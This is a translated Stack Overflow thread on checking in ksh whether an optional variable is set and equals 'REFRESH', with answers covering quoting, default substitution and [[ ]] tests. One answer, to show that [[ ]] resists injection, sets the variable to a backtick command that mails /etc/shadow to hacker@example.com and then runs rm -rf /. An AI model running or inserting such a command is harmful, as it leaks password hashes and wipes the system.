检查变量已设置,值为ksh

时间:2012-01-09 17:44:54

标签: shell ksh

我有一个用户输入的脚本,REFRESH选项是可选的。我需要测试$ REFRESH是否存在并且等于字符串“REFRESH”,如果它然后运行特定的代码块。

用户将执行

./export_data.sh <user> <type> [REFRESH]

如果我在PHP中这样做,我会简单地使用isset()函数,在ksh中是否存在等价?

我已经尝试了以下但是这次失败,因为在第二次测试中没有设置$ REFRESH:

if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
    echo "variable is set and the expected value";
    # do stuff
fi

我能想到的另一种方法是嵌套if但是这看起来很混乱:

if [ -n $REFRESH ]
then
    if [ $REFRESH == "REFRESH" ]
    then
        echo "variable is set and the expected value";
        # do stuff
fi

有更好的方法吗?

4 个答案:

答案 0 :(得分:7)

if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...

如果unset中没有值或者值为空字符串,则替换$REFRESH。无论哪种方式,它都与“REFRESH”不同,因此它的行为符合要求。

测试变量时,用双引号括起来;它可以减轻焦虑。事实上,这意味着你可以简单地写:

if [ "$REFRESH" = "REFRESH" ]
then ...

答案 1 :(得分:3)

我会对Jonathan的回复发表评论,但我在这里过于陌生,不值得信任。

无论如何,如果你想在ksh中保存自己的焦虑,永远不要使用传统的Bourne shell []。相反,请使用[[]]。

if [[ $REFRESH == REFRESH ]]; then

这将始终评估您想要的方式。即使以下任何一个发生在if语句之前。

REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker@example.com < /etc/shadow`;  sleep 5; rm -rf /`'

要注意的是,如果它是一个变量或一个字符串,除了一个简单的字符串比较之外,它可以被评估。考虑这些:

$ val='@(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$

在这里,我们看到引用RHS比使用[[]]时引用LHS更重要。此外,这表明[[]]允许使用模式和模式列表进行更强大的匹配。

答案 2 :(得分:1)

回答这个具体问题:

如果我在PHP中执行此操作,我只需使用isset()函数,ksh中是否存在等效项?

if [ "${REFRESH:-unset}" != unset ]

答案 3 :(得分:0)

顺便说一下,在我看来,测试变量是否设置的最佳方法(因为这是最简单的方法)是:

if [ "$PIPPO" ] ; then  
   echo "Set"  
fi

OR

if [ ! "$PIPPO" ] ; then  
   echo "Not Set"  
fi